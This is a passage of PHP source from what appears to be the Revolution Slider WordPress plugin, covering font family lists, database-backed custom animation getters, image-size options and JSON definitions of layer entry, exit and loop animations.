__('Monospace Fonts', 'revslider'), 'label' => '\'Courier New\', Courier, monospace'); $fonts[] = array('type' => 'websafe', 'version' => __('Monospace Fonts', 'revslider'), 'label' => '\'Lucida Console\', Monaco, monospace'); //push all variants to the websafe fonts foreach($fonts as $f => $font){ if(!empty($cfl) && is_array($cfl) && $font['type'] === 'custom') continue; //already manually added before on these $font[$f]['variants'] = array('100', '100italic', '200', '200italic', '300', '300italic', '400', '400italic', '500', '500italic', '600', '600italic', '700', '700italic', '800', '800italic', '900', '900italic'); } include(RS_PLUGIN_PATH . 'includes/googlefonts.php'); foreach($googlefonts as $f => $val){ $fonts[] = array('type' => 'googlefont', 'version' => __('Google Fonts', 'revslider'), 'label' => $f, 'variants' => $val['variants'], 'subsets' => $val['subsets'], 'category' => $val['category']); } return apply_filters('revslider_data_get_font_familys', apply_filters('revslider_operations_getArrFontFamilys', $fonts)); } /** * get animations array * @before: RevSliderOperations::getArrAnimations(); */ public function get_animations(){ return $this->get_custom_animations_full_pre('in'); } /** * get "end" animations array * @before: RevSliderOperations::getArrEndAnimations(); */ public function get_end_animations(){ return $this->get_custom_animations_full_pre('out'); } public function get_loop_animations(){ return $this->get_custom_animations_full_pre('loop'); } /** * get the version 5 animations only, if available **/ public function get_animations_v5(){ global $revslider_animations; $custom = array(); $temp = array(); $sort = array(); $this->fill_animations(); foreach($revslider_animations as $value){ $type = $this->get_val($value, array('params', 'type'), ''); if(!in_array($type, array('customout', 'customin'))) continue; $settings = $this->get_val($value, 'settings', ''); $type = $this->get_val($value, 'type', ''); if($type == '' && $settings == ''){ $temp[$value['id']] = $value; $temp[$value['id']]['id'] = $value['id']; $sort[$value['id']] = $value['handle']; } } if(!empty($sort)){ asort($sort); foreach ($sort as $k => $v){ $custom[$k] = $temp[$k]; } } return $custom; } /** * get custom animations * @before: RevSliderOperations::getCustomAnimationsFullPre() */ public function get_custom_animations_full_pre($pre = 'in'){ global $revslider_animations; $custom = array(); $temp = array(); $sort = array(); $this->fill_animations(); foreach($revslider_animations as $value){ $settings = $this->get_val($value, 'settings', ''); $type = $this->get_val($value, 'type', ''); if($type == '' && $settings == '' || $type == $pre){ $temp[$value['id']] = $value; $temp[$value['id']]['id'] = $value['id']; $sort[$value['id']] = $value['handle']; } if($settings == 'in' && $pre == 'in' || $settings == 'out' && $pre == 'out' || $settings == 'loop' && $pre == 'loop'){ $temp[$value['id']] = $value['params']; $temp[$value['id']]['settings'] = $settings; $temp[$value['id']]['id'] = $value['id']; $sort[$value['id']] = $value['handle']; } } if(!empty($sort)){ asort($sort); foreach($sort as $k => $v){ $custom[$k] = $temp[$k]; } } return $custom; } /** * Fetch all Custom Animations only one time * @since: 5.2.4 * @before: RevSliderOperations::fillAnimations(); **/ public function fill_animations(){ global $revslider_animations; if(empty($revslider_animations)){ global $wpdb; $result = $wpdb->get_results("SELECT * FROM " . $wpdb->prefix . RevSliderFront::TABLE_LAYER_ANIMATIONS, ARRAY_A); $revslider_animations = (!empty($result)) ? $result : array(); if(!empty($revslider_animations)){ foreach($revslider_animations as $ak => $av){ $revslider_animations[$ak]['params'] = json_decode(str_replace("'", '"', $av['params']), true); } } if(!empty($revslider_animations)){ array_walk_recursive($revslider_animations, array('RevSliderData', 'force_to_boolean')); } } } /** * make sure that all false and true are really boolean **/ public static function force_to_boolean(&$a, $b){ $a = ($a === 'false') ? false : $a; $a = ($a === 'true') ? true : $a; $b = ($b === 'false') ? false : $b; $b = ($b === 'true') ? true : $b; } /** * get contents of the css table as an array * before: RevSliderOperations::getCaptionsContentArray(); */ public function get_captions_array($handle = false){ $css = RevSliderGlobals::instance()->get('RevSliderCssParser'); if(empty($this->css)){ $this->fill_css(); } return $css->db_array_to_array($this->css, $handle); } /** * Fetch all Custom CSS only one time * @since: 5.2.4 * before: RevSliderOperations::fillCSS(); **/ public function fill_css(){ if(empty($this->css)){ global $wpdb; $css_data = $wpdb->get_results("SELECT * FROM " . $wpdb->prefix . RevSliderFront::TABLE_CSS, ARRAY_A); $this->css = (!empty($css_data)) ? $css_data : array(); } } /** * Get all images sizes + custom added sizes * @before: RevSliderBase::get_all_image_sizes($type); */ public function get_all_image_sizes($type = 'gallery'){ $custom_sizes = array(); switch($type){ case 'flickr': $custom_sizes = array( 'original' => __('Original', 'revslider'), 'large' => __('Large', 'revslider'), 'large-square' => __('Large Square', 'revslider'), 'medium' => __('Medium', 'revslider'), 'medium-800' => __('Medium 800', 'revslider'), 'medium-640' => __('Medium 640', 'revslider'), 'small' => __('Small', 'revslider'), 'small-320' => __('Small 320', 'revslider'), 'thumbnail' => __('Thumbnail', 'revslider'), 'square' => __('Square', 'revslider'), ); break; case 'instagram': $custom_sizes = array( 'standard_resolution' => __('Standard Resolution', 'revslider'), 'thumbnail' => __('Thumbnail', 'revslider'), 'low_resolution' => __('Low Resolution', 'revslider'), 'original_size' => __('Original Size', 'revslider'), 'large' => __('Large Size', 'revslider'), ); break; case 'twitter': $custom_sizes = array( 'large' => __('Standard Resolution', 'revslider'), ); break; case 'facebook': $custom_sizes = array( 'full' => __('Original Size', 'revslider'), 'thumbnail' => __('Thumbnail', 'revslider'), ); break; case 'youtube': $custom_sizes = array( 'high' => __('High', 'revslider'), 'medium' => __('Medium', 'revslider'), 'default' => __('Default', 'revslider'), 'standard' => __('Standard', 'revslider'), 'maxres' => __('Max. Res.', 'revslider'), ); break; case 'vimeo': $custom_sizes = array( 'thumbnail_large' => __('Large', 'revslider'), 'thumbnail_medium' => __('Medium', 'revslider'), 'thumbnail_small' => __('Small', 'revslider'), ); break; case 'gallery': default: $added_image_sizes = get_intermediate_image_sizes(); if(!empty($added_image_sizes) && is_array($added_image_sizes)){ foreach($added_image_sizes as $key => $img_size_handle){ $custom_sizes[$img_size_handle] = ucwords(str_replace('_', ' ', $img_size_handle)); } } $img_orig_sources = array( 'full' => __('Original Size', 'revslider'), 'thumbnail' => __('Thumbnail', 'revslider'), 'medium' => __('Medium', 'revslider'), 'large' => __('Large', 'revslider'), ); $custom_sizes = array_merge($img_orig_sources, $custom_sizes); break; } return $custom_sizes; } /** * get the default layer animations **/ public function get_layer_animations($raw = false){ $custom_in = $this->get_animations(); $custom_out = $this->get_end_animations(); $custom_loop = $this->get_loop_animations(); $in = '{ "custom":{"group":"Custom","custom":true,"transitions":' . json_encode($custom_in) . '}, "blck":{ "group":"Block Transitions (SFX)", "transitions":{ "blockfromleft":{"name":"Block from Left","frame_0":{"transform":{"opacity":0}},"frame_1":{"transform":{"opacity":1},"sfx":{"effect":"blocktoright","color":"#ffffff"},"timeline":{"ease":"power4.inOut","speed":1200}}}, "blockfromright":{"name":"Block from Right","frame_0":{"transform":{"opacity":0}},"frame_1":{"transform":{"opacity":1},"sfx":{"effect":"blocktoleft","color":"#ffffff"},"timeline":{"ease":"power4.inOut","speed":1200}}}, "blockfromtop":{"name":"Block from Top","frame_0":{"transform":{"opacity":0}},"frame_1":{"transform":{"opacity":1},"sfx":{"effect":"blocktobottom","color":"#ffffff"},"timeline":{"ease":"power4.inOut","speed":1200}}}, "blockfrombottom":{"name":"Block from Bottom","frame_0":{"transform":{"opacity":0}},"frame_1":{"transform":{"opacity":1},"sfx":{"effect":"blocktotop","color":"#ffffff"},"timeline":{"ease":"power4.inOut","speed":1200}}} } }, "lettran":{ "group":"Letter Transitions", "transitions":{ "LettersFlyInFromLeft":{"name":"Letters Fly In From Left","frame_0":{"transform":{"opacity":1},"chars":{"use":true,"x":"-105%","opacity":"0","rotationZ":"-90deg"},"mask":{"use":true}},"frame_1":{"timeline":{"speed":1200},"transform":{"opacity":1},"chars":{"ease":"power4.inOut","use":true,"direction":"backward","delay":10,"x":0,"opacity":1,"rotationZ":"0deg"},"mask":{"use":true}}}, "LettersFlyInFromRight":{"name":"Letters Fly In From Right","frame_0":{"transform":{"opacity":1},"chars":{"use":true,"x":"105%","opacity":"1","rotationY":"45deg","rotationZ":"90deg"},"mask":{"use":true}},"frame_1":{"timeline":{"speed":1200},"transform":{"opacity":1},"chars":{"ease":"power4.inOut","use":true,"direction":"forward","delay":10,"x":0,"opacity":1,"rotationY":0,"rotationZ":"0deg"},"mask":{"use":true}}}, "LettersFlyInFromTop":{"name":"Letters Fly In From Top","frame_0":{"transform":{"opacity":1},"chars":{"use":true,"y":"-100%","opacity":"0","rotationZ":"35deg"},"mask":{"use":true}},"frame_1":{"timeline":{"speed":1200},"transform":{"opacity":1},"chars":{"ease":"power4.inOut","use":true,"direction":"forward","delay":10,"y":0,"opacity":1,"rotationZ":"0deg"},"mask":{"use":true}}}, "LettersFlyInFromBottom":{"name":"Letters Fly In From Bottom","frame_0":{"transform":{"opacity":1},"chars":{"use":true,"y":"100%","opacity":"0","rotationZ":"-35deg"},"mask":{"use":true}},"frame_1":{"timeline":{"speed":1200},"transform":{"opacity":1},"chars":{"ease":"power4.inOut","use":true,"direction":"forward","delay":10,"y":0,"opacity":1,"rotationZ":"0deg"},"mask":{"use":true}}}, "LetterFlipFromTop":{"name":"Letter Flip From Top","frame_0":{"transform":{"opacity":1},"chars":{"use":true,"opacity":0,"rotationX":"90deg","y":"0","originZ":"-50"}},"frame_1":{"timeline":{"speed":1750},"chars":{"use":true,"opacity":1,"rotationX":0,"delay":10,"originZ":"-50","ease":"power4.inOut"}}}, "LetterFlipFromBottom":{"name":"Letter Flip From Bottom","frame_0":{"transform":{"opacity":1},"chars":{"use":true,"opacity":0,"rotationX":"-90deg","y":"0","originZ":"-50"}},"frame_1":{"timeline":{"speed":1750},"chars":{"use":true,"opacity":1,"rotationX":0,"delay":10,"originZ":"-50","ease":"power4.inOut"}}}, "FlipAndLetterCycle":{"name":"Letter Flip Cycle","frame_0":{"transform":{"opacity":0,"rotationX":"70deg","y":"0","originZ":"-50"},"chars":{"use":true,"opacity":0,"y":"[-100||100]"}},"frame_1":{"timeline":{"speed":1750,"ease":"power4.inOut"},"transform":{"opacity":1,"originZ":"-50","rotationX":0},"chars":{"use":true,"direction":"middletoedge","opacity":1,"y":0,"delay":10,"ease":"power4.inOut"}}} } }, "masktrans":{ "group":"Masked Transitions", "transitions":{ "MaskedZoomOut":{"name":"Masked Zoom Out","frame_0":{"transform":{"opacity":0,"scaleX":2,"scaleY":2},"mask":{"use":true}},"frame_1":{"timeline":{"speed":1000,"ease":"power2.out"},"mask":{"use":true},"transform":{"opacity":1,"scaleX":1,"scaleY":1}}}, "SlideMaskFromBottom":{"name":"Slide From Bottom","frame_0":{"transform":{"opacity":0,"y":"100%"},"mask":{"use":true}},"frame_1":{"timeline":{"speed":1200,"ease":"power3.inOut"},"mask":{"use":true,"y":0},"transform":{"opacity":1,"y":0}}}, "SlideMaskFromLeft":{"name":"Slide From Left","frame_0":{"transform":{"opacity":0,"x":"-100%"},"mask":{"use":true}},"frame_1":{"timeline":{"speed":1000,"ease":"power3.inOut"},"mask":{"use":true},"transform":{"opacity":1,"x":0}}}, "SlideMaskFromRight":{"name":"Slide From Right","frame_0":{"transform":{"opacity":0,"x":"100%"},"mask":{"use":true}},"frame_1":{"timeline":{"speed":1000,"ease":"power3.inOut"},"mask":{"use":true},"transform":{"opacity":1,"x":0}}}, "SlideMaskFromTop":{"name":"Slide From Top","frame_0":{"transform":{"opacity":0,"y":"-100%"},"mask":{"use":true}},"frame_1":{"timeline":{"speed":1200,"ease":"power3.inOut"},"mask":{"use":true},"transform":{"opacity":1,"y":0}}}, "SmoothMaskFromRight":{"name":"Smooth Mask From Right","frame_0":{"transform":{"opacity":1,"x":"-175%"},"mask":{"use":true,"x":"100%"}},"frame_1":{"timeline":{"speed":1000,"ease":"power3.out"},"mask":{"use":true,"x":0},"transform":{"opacity":1,"x":0}}}, "SmoothMaskFromLeft":{"name":"Smooth Mask From Left","frame_0":{"transform":{"opacity":1,"x":"175%"},"mask":{"use":true,"x":"-100%"}},"frame_1":{"timeline":{"speed":1000,"ease":"power3.out"},"mask":{"use":true,"x":0},"transform":{"opacity":1,"x":0}}} } }, "popup":{ "group":"Pop Ups", "transitions":{ "PopUpBack":{"name":"Pop Up Back","frame_0":{"transform":{"opacity":0,"rotationY":"360deg"}},"frame_1":{"timeline":{"speed":500,"ease":"back.out"},"transform":{"opacity":1,"rotationY":0}}}, "PopUpSmooth":{"name":"Pop Up Smooth","frame_0":{"transform":{"opacity":0,"scaleX":0.9,"scaleY":0.9}},"frame_1":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":1,"scaleX":1,"scaleY":1}}}, "SmoothPopUp_One":{"name":"Smooth Pop Up v.1","frame_0":{"transform":{"opacity":0,"scaleX":0.8,"scaleY":0.8}},"frame_1":{"timeline":{"speed":1000,"ease":"power4.out"},"transform":{"opacity":1,"scaleX":1,"scaleY":1}}}, "SmoothPopUp_Two":{"name":"Smooth Pop Up v.2","frame_0":{"transform":{"opacity":0,"scaleX":0.9,"scaleY":0.9}},"frame_1":{"timeline":{"speed":1000,"ease":"power2.inOut"},"transform":{"opacity":1,"scaleX":1,"scaleY":1}}} } }, "rotate":{ "group":"Rotations", "transitions":{ "RotateInFromBottom":{"name":"Rotate In From Bottom","frame_0":{"transform":{"opacity":0,"rotationZ":"70deg","y":"bottom","scaleY":2,"scaleX":2}},"frame_1":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":1,"y":0,"rotationZ":0,"scaleX":1,"scaleY":1}}}, "RotateInFormZero":{"name":"Rotate In From Bottom v2.","frame_0":{"transform":{"opacity":1,"rotationY":"-20deg","rotationX":"-20deg","y":"200%","scaleY":2,"scaleX":2}},"frame_1":{"timeline":{"speed":1000,"ease":"power3.out"},"transform":{"opacity":1,"y":0,"rotationZ":0,"rotationY":0,"scaleX":1,"scaleY":1}}}, "FlipFromTop":{"name":"Flip From Top","frame_0":{"transform":{"opacity":0,"rotationX":"70deg","y":"0","originZ":"-50"}},"frame_1":{"timeline":{"speed":1750,"ease":"power4.inOut"},"transform":{"opacity":1,"originZ":"-50","rotationX":0}}}, "FlipFromBottom":{"name":"Flip From Bottom","frame_0":{"transform":{"opacity":0,"rotationX":"-70deg","y":"0","originZ":"-50"}},"frame_1":{"timeline":{"speed":1750,"ease":"power4.inOut"},"transform":{"opacity":1,"rotationX":0,"originZ":"-50"}}} } }, "slidetrans":{ "group":"Slide Transitions", "transitions":{ "sft":{"name":"Short Slide from Top","frame_0":{"transform":{"opacity":0,"y":-50}},"frame_1":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":1,"y":0}}}, "sfb":{"name":"Short Slide from Bottom","frame_0":{"transform":{"opacity":0,"y":50}},"frame_1":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":1,"y":0}}}, "sfl":{"name":"Short Slide from Left","frame_0":{"transform":{"opacity":0,"x":-50}},"frame_1":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":1,"x":0}}}, "sfr":{"name":"Short Slide from Right","frame_0":{"transform":{"opacity":0,"x":50}},"frame_1":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":1,"x":0}}}, "lft":{"name":"Long Slide from Top","frame_0":{"transform":{"opacity":0,"y":"top"}},"frame_1":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":1,"y":0}}}, "lfb":{"name":"Long Slide from Bottom","frame_0":{"transform":{"opacity":0,"y":"bottom"}},"frame_1":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":1,"y":0}}}, "lfl":{"name":"Long Slide from Left","frame_0":{"transform":{"opacity":0,"x":"left"}},"frame_1":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":1,"x":0}}}, "lfr":{"name":"Long Slide from Right","frame_0":{"transform":{"opacity":0,"x":"right"}},"frame_1":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":1,"x":0}}}, "SmoothSlideFromBottom":{"name":"Smooth Slide From Bottom","frame_0":{"transform":{"opacity":0,"y":"100%"}},"frame_1":{"timeline":{"speed":1200,"ease":"power4.inOut"},"transform":{"opacity":1,"y":0}}} } }, "skewtrans":{ "group":"Skew Transitions", "transitions":{ "skewfromleft":{"name":"Skew from Left","frame_0":{"transform":{"opacity":0,"skewX":85,"x":"left"}},"frame_1":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":1,"skewX":0,"x":0}}}, "skewfromright":{"name":"Skew from Right","frame_0":{"transform":{"opacity":0,"skewX":-85,"x":"right"}},"frame_1":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":1,"skewX":0,"x":0}}}, "skewfromleftshort":{"name":"Skew from Left Short","frame_0":{"transform":{"opacity":0,"skewX":45,"x":"-100%"}},"frame_1":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":1,"skewX":0,"x":0}}}, "skewfromrightshort":{"name":"Skew from Right Short","frame_0":{"transform":{"opacity":0,"skewX":-45,"x":"100%"}},"frame_1":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":1,"skewX":0,"x":0}}} } }, "simpltrans":{ "group":"Simple Transitions", "transitions":{ "noanim":{"name":"No Animation","frame_0":{"transform":{"opacity":1}},"frame_1":{"transform":{"opacity":1}}}, "tp-fade":{"name":"Fade In","frame_0":{"transform":{"opacity":0}},"frame_1":{"timeline":{"speed":1500,"ease":"power4.inOut"},"transform":{"opacity":1}}} } }, "randtrans":{ "group":"Random Transitions", "transitions":{ "Random":{"name":"Random","frame_0":{"transform":{"opacity":0,"y":"{-150,150}","x":"{-250,250}","scaleX":"{0,1.5}","scaleY":"{0,1.5}","rotationX":"{-90,90}","rotationY":"{-90,90}","rotationZ":"{-90,90}"}},"frame_1":{"timeline":{"speed":1500,"ease":"power4.inOut"},"transform":{"opacity":1,"x":0,"y":0,"z":0,"rotationX":0,"rotationY":0,"rotationZ":0,"scaleX":1,"scaleY":1}}}, "RandomChars":{"name":"Random Chars","frame_0":{"transform":{"opacity":1},"chars":{"use":true,"y":"{-150,150}","x":"{-250,250}","scaleX":"{0,1.5}","scaleY":"{0,1.5}","rotationX":"{-90,90}","rotationY":"{-90,90}","rotationZ":"{-90,90}"}},"frame_1":{"timeline":{"speed":1500,"ease":"power4.inOut"},"chars":{"use":true,"direction":"random","pacity":1,"x":0,"y":0,"z":0,"rotationX":0,"rotationY":0,"rotationZ":0,"scaleX":1,"scaleY":1,"delay":10}}} } } }'; $out = '{ "custom":{"group":"Custom","custom":true,"transitions":' . json_encode($custom_out) . '}, "blck":{ "group":"Block Transitions (SFX)", "transitions":{ "blocktoleft":{"name":"Block to Left","frame_999":{"transform":{"opacity":0},"sfx":{"effect":"blocktoright","color":"#ffffff"},"timeline":{"ease":"power4.inOut","speed":1200}}}, "blocktoright":{"name":"Block to Right","frame_999":{"transform":{"opacity":0},"sfx":{"effect":"blocktoleft","color":"#ffffff"},"timeline":{"ease":"power4.inOut","speed":1200}}}, "blocktotop":{"name":"Block to Top","frame_999":{"transform":{"opacity":0},"sfx":{"effect":"blocktobottom","color":"#ffffff"},"timeline":{"ease":"power4.inOut","speed":1200}}}, "blocktobottom":{"name":"Block to Bottom","frame_999":{"transform":{"opacity":0},"sfx":{"effect":"blocktotop","color":"#ffffff"},"timeline":{"ease":"power4.inOut","speed":1200}}} } }, "lettran":{ "group":"Letter Transitions", "transitions":{ "LettersFlyOutToLeft":{"name":"Letters Fly Out To Left","frame_999":{"transform":{"opacity":1},"chars":{"ease":"power4.inOut","direction":"forward","use":true,"x":"-105%","opacity":"0","delay":10,"rotationZ":"-90deg"},"mask":{"use":true},"timeline":{"speed":1200}}}, "LettersFlyInFromRight":{"name":"Letters Fly In From Right","frame_999":{"transform":{"opacity":1},"chars":{"ease":"power4.inOut","delay":10,"direction":"backward","use":true,"x":"105%","opacity":"0","rotationY":"45deg","rotationZ":"90deg"},"timeline":{"speed":1200},"mask":{"use":true}}}, "LettersFlyInFromTop":{"name":"Letters Fly In From Top","frame_999":{"transform":{"opacity":1},"chars":{"use":true,"y":"-100%","opacity":"0","rotationZ":"35deg","ease":"power4.inOut","direction":"backward","delay":10},"timeline":{"speed":1200},"mask":{"use":true}}}, "LettersFlyInFromBottom":{"name":"Letters Fly In From Bottom","frame_999":{"transform":{"opacity":1},"chars":{"use":true,"y":"100%","opacity":"0","rotationZ":"-35deg","ease":"power4.inOut","direction":"forward","delay":10},"timeline":{"speed":1200},"mask":{"use":true}}}, "LetterFlipFromTop":{"name":"Letter Flip From Top","frame_999":{"transform":{"opacity":1},"chars":{"use":true,"opacity":0,"rotationX":"90deg","y":"0","originZ":"-50","ease":"power4.inOut","delay":10},"timeline":{"speed":1750}}}, "LetterFlipFromBottom":{"name":"Letter Flip From Bottom","frame_999":{"transform":{"opacity":1},"chars":{"use":true,"opacity":0,"rotationX":"-90deg","y":"0","originZ":"-50","delay":10,"ease":"power4.inOut"},"timeline":{"speed":1750}}}, "FlipAndLetterCycle":{"name":"Letter Flip Cycle","frame_999":{"transform":{"opacity":0,"rotationX":"70deg","y":"0","originZ":"-50"},"chars":{"use":true,"direction":"middletoedge","delay":10,"ease":"power4.inOut","opacity":0,"y":"[-100||100]"},"timeline":{"speed":1750,"ease":"power4.inOut"}}} } }, "masktrans":{ "group":"Masked Transitions", "transitions":{ "MaskedZoomOut":{"name":"Masked Zoom In","frame_999":{"transform":{"opacity":0,"scaleX":2,"scaleY":2},"mask":{"use":true},"timeline":{"speed":1000,"ease":"power2.out"}}}, "SlideMaskToBottom":{"name":"Slide To Bottom","frame_999":{"transform":{"opacity":0,"y":"100%"},"mask":{"use":true},"timeline":{"speed":1200,"ease":"power3.inOut"}}}, "SlideMaskToLeft":{"name":"Slide To Left","frame_999":{"transform":{"opacity":0,"x":"-100%"},"mask":{"use":true},"timeline":{"speed":1000,"ease":"power3.inOut"}}}, "SlideMaskToRight":{"name":"Slide To Right","frame_999":{"transform":{"opacity":0,"x":"100%"},"mask":{"use":true},"timeline":{"speed":1000,"ease":"power3.inOut"}}}, "SlideMaskToTop":{"name":"Slide To Top","frame_999":{"transform":{"opacity":0,"y":"-100%"},"mask":{"use":true},"timeline":{"speed":1200,"ease":"power3.inOut"}}}, "SmoothMaskToRight":{"name":"Smooth Mask To Right","frame_999":{"transform":{"opacity":1,"x":"-175%"},"mask":{"use":true,"x":"100%"},"timeline":{"speed":1000,"ease":"power3.inOut"}}}, "SmoothMaskToLeft":{"name":"Smooth Mask To Left","frame_999":{"transform":{"opacity":1,"x":"175%"},"mask":{"use":true,"x":"-100%"},"timeline":{"speed":1000,"ease":"power3.inOut"}}}, "SmoothToBottom":{"name":"Smooth To Bottom","frame_999":{"transform":{"opacity":1,"y":"175%"},"mask":{"use":true},"timeline":{"speed":1000,"ease":"power2.inOut"}}}, "SmoothToTop":{"name":"Smooth To Top","frame_999":{"transform":{"opacity":1,"y":"-175%"},"mask":{"use":true},"timeline":{"speed":1000,"ease":"power2.inOut"}}} } }, "bounce":{ "group":"Bounce and Hide", "transitions":{ "BounceOut":{"name":"Bounce Out","frame_999":{"timeline":{"speed":500,"ease":"back.in"},"transform":{"opacity":0,"scaleX":0.7,"scaleY":0.7}}}, "SlurpOut":{"name":"Slurp Out","frame_999":{"timeline":{"speed":1000,"ease":"power2.in"},"transform":{"opacity":0,"y":"100%","scaleX":0.7,"scaleY":0.7},"mask":{"use":true}}}, "PopUpBack":{"name":"Bounce Out Rotate","frame_999":{"timeline":{"speed":500,"ease":"back.in"},"transform":{"opacity":0,"rotationY":"360deg"}}}, "PopUpSmooth":{"name":"Hide Smooth","frame_999":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":0,"scaleX":0.9,"scaleY":0.9}}}, "SmoothPopUp_One":{"name":"Smooth Hide v.1","frame_999":{"timeline":{"speed":1000,"ease":"power4.out"},"transform":{"opacity":0,"scaleX":0.8,"scaleY":0.8}}}, "SmoothPopUp_Two":{"name":"Smooth Hide v.2","frame_999":{"timeline":{"speed":1000,"ease":"power2.inOut"},"transform":{"opacity":0,"scaleX":0.9,"scaleY":0.9}}} } }, "rotate":{ "group":"Rotations", "transitions":{ "RotateOutToBottom":{"name":"Rotate Out To Bottom","frame_999":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":0,"rotationZ":"70deg","y":"bottom","scaleY":2,"scaleX":2}}}, "RotateInFormZero":{"name":"Rotate Out To Bottom v2.","frame_999":{"timeline":{"speed":1000,"ease":"power3.out"},"transform":{"opacity":0,"rotationY":"-20deg","rotationX":"-20deg","y":"200%","scaleY":2,"scaleX":2}}}, "FlipToTop":{"name":"Flip To Top","frame_999":{"timeline":{"speed":1750,"ease":"power4.inOut"},"transform":{"opacity":0,"rotationX":"70deg","y":"0","originZ":"-50"}}}, "FlipToBottom":{"name":"Flip To Bottom","frame_999":{"timeline":{"speed":1750,"ease":"power4.inOut"},"transform":{"opacity":0,"rotationX":"-70deg","y":"0","originZ":"-50"}}} } }, "slidetrans":{ "group":"Slide Transitions", "transitions":{ "stt":{"name":"Short Slide to Top","frame_999":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":0,"y":-50}}}, "stb":{"name":"Short Slide to Bottom","frame_999":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":0,"y":50}}}, "stl":{"name":"Short Slide to Left","frame_999":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":0,"x":-50}}}, "str":{"name":"Short Slide to Right","frame_999":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":0,"x":50}}}, "ltt":{"name":"Long Slide to Top","frame_999":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":0,"y":"top"}}}, "ltb":{"name":"Long Slide to Bottom","frame_999":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":0,"y":"bottom"}}}, "ltl":{"name":"Long Slide to Left","frame_999":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":0,"x":"left"}}}, "ltr":{"name":"Long Slide to Right","frame_999":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":0,"x":"right"}}}, "SmoothSlideToBottom":{"name":"Smooth Slide To Bottom","frame_999":{"timeline":{"speed":1200,"ease":"power4.inOut"},"transform":{"opacity":0,"y":"100%"}}} } }, "skewtrans":{ "group":"Skew Transitions", "transitions":{ "skewfromleft":{"name":"Skew from Left","frame_999":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":0,"skewX":85,"x":"left"}}}, "skewfromright":{"name":"Skew from Right","frame_999":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":0,"skewX":-85,"x":"right"}}}, "skewfromleftshort":{"name":"Skew from Left Short","frame_999":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":0,"skewX":45,"x":"-100%"}}}, "skewfromrightshort":{"name":"Skew from Right Short","frame_999":{"timeline":{"speed":1000,"ease":"power3.inOut"},"transform":{"opacity":0,"skewX":-45,"x":"100%"}}} } }, "simpltrans":{ "group":"Simple Transitions", "transitions":{ "noanim":{"name":"No Animation","frame_999":{"transform":{"opacity":1}}}, "tp-fade-out":{"name":"Fade Out","frame_999":{"timeline":{"speed":1000,"ease":"power4.inOut"},"transform":{"opacity":0}}}, "fadeoutlong":{"name":"Fade Out Long","frame_999":{"timeline":{"speed":1000,"ease":"power2.in"},"transform":{"opacity":0}}} } }, "randtrans":{ "group":"Random Transitions", "transitions":{ "RandomOut":{"name":"Random Out","frame_999":{"timeline":{"speed":1500,"ease":"power4.inOut"},"transform":{"opacity":0,"y":"{-150,150}","x":"{-250,250}","scaleX":"{0,1.5}","scaleY":"{0,1.5}","rotationX":"{-90,90}","rotationY":"{-90,90}","rotationZ":"{-90,90}"}}}, "RandomCharsOut":{"name":"Random Chars Out","frame_999":{"timeline":{"speed":1500,"ease":"power4.inOut"},"transform":{"opacity":1},"chars":{"direction":"random","delay":10,"use":true,"y":"{-150,150}","x":"{-250,250}","scaleX":"{0,1.5}","scaleY":"{0,1.5}","rotationX":"{-90,90}","rotationY":"{-90,90}","rotationZ":"{-90,90}"}}} } } }'; $loop = '{ "custom":{group:"Custom",custom:true,transitions:' . json_encode($custom_loop) . '}, "pendulum":{group:"Pendulum Loops", transitions: { "inplacependulum":{name:"In Place Pendulum", loop:{use:true, yoyo_rotate:true, speed:3000, ease:"power1.inOut", frame_0:{rotationZ:-40}, frame_999:{rotationZ:40}}}, "pendulumbelow":{name:"Pendulum Below", loop:{use:true, yoyo_rotate:true, speed:3000, originY:"-200%", ease:"sine.inOut", frame_0:{rotationZ:-40}, frame_999:{rotationZ:40}}}, "pendulumabove":{name:"Pendulum Above",loop:{use:true, yoyo_rotate:true, speed:3000, originY:"200%", ease:"sine.inOut", frame_0:{rotationZ:-40}, frame_999:{rotationZ:40}}}, "pendulumleft":{name:"Pendulum Left",loop:{use:true, yoyo_rotate:true, speed:3000, originX:"150%", ease:"sine.inOut", frame_0:{rotationZ:-20}, frame_999:{rotationZ:20}}}, "pendulumright":{name:"Pendulum Right",loop:{use:true, yoyo_rotate:true, speed:3000, originX:"-50%", ease:"sine.inOut", frame_0:{rotationZ:-20}, frame_999:{rotationZ:20}}} }}, "effects":{group:"Effect Loops", transitions: { "grayscale":{name:"Grayscale",loop:{use:true, yoyo_filter:true, speed:1000, ease:"sine.inOut", frame_0:{grayscale:0}, frame_999:{grayscale:100}}}, "blink":{name:"Blink",loop:{use:true, yoyo_filter:true, speed:1500, ease:"sine.inOut", frame_0:{opacity:0}, frame_999:{opacity:1}}}, "flattern":{name:"Flattern",loop:{use:true, yoyo_filter:true, speed:100, ease:"sine.inOut", frame_0:{opacity:0.2,blur:0}, 